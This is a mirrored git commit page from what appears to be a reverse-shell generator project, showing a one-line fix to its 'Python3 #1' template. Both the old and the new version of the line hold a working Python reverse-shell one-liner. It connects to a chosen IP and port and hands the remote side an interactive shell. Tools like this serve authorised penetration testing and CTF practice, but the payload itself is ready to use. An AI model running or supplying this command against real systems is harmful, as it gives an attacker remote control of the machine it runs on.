mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2025-01-31 06:37:31 +00:00
Merge pull request #49 from Ziemni/main
Fixed missing "'" in "Python3 1"
This commit is contained in:
commit
b211180afc
@ -190,7 +190,7 @@ const reverseShellCommands = withCommandType(
|
||||
},
|
||||
{
|
||||
"name": "Python3 #1",
|
||||
"command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")",
|
||||
"command": "export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'",
|
||||
"meta": ["linux", "mac"]
|
||||
},
|
||||
{
|
||||
|
Loading…
Reference in New Issue
Block a user